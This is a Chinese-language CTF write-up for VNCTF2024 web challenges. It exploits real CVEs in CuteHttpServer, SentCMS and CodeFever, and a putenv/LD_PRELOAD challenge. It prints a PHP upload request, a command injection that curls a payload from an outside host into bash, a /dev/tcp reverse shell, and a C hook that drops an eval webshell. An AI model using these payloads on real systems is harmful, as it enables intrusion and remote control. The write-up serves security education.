VNCTF2024-web wp
Checkin
简单的js,没有混淆,源码里找到可疑十六进制字符串,在控制台直接console.log()就出了。
CutePath
有点搞。
网上搜到的Cutehttpserver CVE是XSS,但是这个CVE是v1.x和v2.x的,所以应该用不了。
这里卡住了,点联系进入项目官网,然后进github源码页,在评论区(草了怎么这里出)找到一个安全性问题:
所以直接路径穿越,查看到base64加密的用户名和密码:
登录成功后,路径穿越找到flag:
然后重命名,再用路径穿越将文件移到可下载目录下:
点开即出:
因为环境关了,而且这道题我忘截屏了,所以复现用的是VNCTF 2024 Web方向 WP-CSDN博客
比赛结束后,出题人还说这个能再水一个CVE了呃呃....
TrySent
SentCMS的CVE,还是能找到现成payload:
CVE-2022-24652
Sentcms任意文件上传漏洞 | Hanayuzu'Blog
可以直接传木马上去,我直接phpinfo()试了试,结果环境变量里也有就出了:
POST /user/upload/upload HTTP/1.1 Host: c35eb369-fe76-41e7-9bb8-8b2bd5af6d0c.vnctf2024.manqiu.top Cookie: PHPSESSID=de376dfab53557df105d5c4456d65f73 Content-Length: 760 Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 Sec-Ch-Ua-Platform: "Windows" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhx2kYAMYDqoTThz Accept: */* Origin: https://info.ziwugu.vip/ Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://c35eb369-fe76-41e7-9bb8-8b2bd5af6d0c.vnctf2024.manqiu.top/user/upload/index?name=icon&type=image&limit=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,ja-CN;q=0.8,ja;q=0.7,en;q=0.6 Connection: close ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="id" WU_FILE_0 ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="name" test.jpg ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="type" image/jpeg ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="lastModifiedDate" Wed Jul 21 2021 18:15:25 GMT+0800 (中国标准时间) ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="size" 164264 ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="file"; filename="test.php" Content-Type: image/jpeg JFIF <?php phpinfo();?> ------WebKitFormBoundaryrhx2kYAMYDqoTThz--
codefever_again
是Codefever的CVE-2023-26817:
审计代码后知道,登录成功后可以在添加邮箱地址那个位置实现RCE,但是email有一个正则表达式的检测,所以有些命令执行不太行,最后还是找到了一个可行的方法反弹shell。
正则表达式的约束:
继续跟进:
找到execRCE部分:
随便注册个号登录上去:
然后进入多邮箱:
添加poc,然后在bp上操作,首先用DNS平台测试了一下:
拿到回显,这个CVE可用。
但是这里有两个坑,首先是好像邮箱地址限制了只有三个还是四个,所以一直传会报错没有回显,其次是那个正则表达式匹配限制了payload输入的格式。
卡了一阵子,都试了试原POC作者搭了个服务器然后输命令base64拿出来,但是失败了,直接放弃了。
想到了curl也可以反弹shell,所以我phpstudy迅速起了一个html服务,新建一个bash.html,文件里就是反弹shell的payload:
bash -i >& /dev/tcp/vps/port 0>&1
然后用natapp搭了一个内网穿透,把内网服务127.0.0.1:1415映射到临时公网上:
然后RCE部分curl我自己搭载的服务器里的bash.html:
youyou@qq.com'xx|curl http://scktzs.natappfree.cc/bash.html|bash;xx'xx
最后在vps处反弹shell成功:(爽爽爽爽爽爽)
givenphp
先看源码:
<?php highlight_file(__FILE__); if(isset($_POST['upload'])){ handleFileUpload($_FILES['file']); } if(isset($_GET['challenge'])){ waf(); $value=$_GET['value']; $key=$_GET['key']; $func=create_function("","putenv('$key=$value');"); if($func==$_GET['guess']){ $func(); system("whoami"); } } function waf() { if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){ die("evil input!!!"); } } function handleFileUpload($file) { $uploadDirectory = '/tmp/'; if ($file['error'] !== UPLOAD_ERR_OK) { echo '文件上传失败。'; return; } $fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION); $newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension; $destination = $uploadDirectory . $newFileName; if (move_uploaded_file($file['tmp_name'], $destination)) { echo $destination; } else { echo '文件移动失败。'; } }
有文件上传+putenv,而且上传目录是/tmp,那么基本可以确定是putenv+LD_PRELOAD上传.so文件劫持whoami命令的组合拳RCE了。
但是遇到了一些问题,在这个文件上传的位置我就卡了,怎么传这个so文件上去,并且保证名字也是xxx.so这种呢?
第一时间想到了python传files,但是前几次都报错了,本地搭了一个这个服务也传不上,奇了怪哉。
写个C文件:
#include <stdio.h> #include <stdlib.h> int puts(const char *message) { printf("hack you!"); system("echo '<?php @eval($_POST[1]);?>' > /var/www/html/shell.php"); return 0; }
编译成so文件:
gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE
然后用python上传:
拿到上传目录,然后因为这里由于guess要我们猜匿名函数的名字,他会随着我们每次请求增长,我们只要先设置个比较后面的,然后不断发包即可:
来自:VNCTF2024-WEB-gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)
GET /?challenge=111&value=/tmp/uploaded_file_65d03e3e906182.36544985.so&key=LD_PRELOAD&guess=%00lambda_20 HTTP/1.1 Host: 101522b7-51aa-415b-a4ca-3ae3dd7a4c20.vnctf2024.manqiu.top User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
然后蚁剑连或者网页上直接RCE就行了。
最后补充一个做了的MISC吧,也就是那个SQL盲注的,其实也比较简单,因为这个布尔盲注只需要看最后一次的ASCII字符是什么就可以了,而且抓的http里字节数为268是success,279是wrong,理清楚逻辑也很好判断,直接exp开读(也可以导出来用正则匹配做,更自动化,但是我觉得写着更麻烦,干脆就手操肉眼读了呃呃):
最后用VNCTF{}包起来就行了。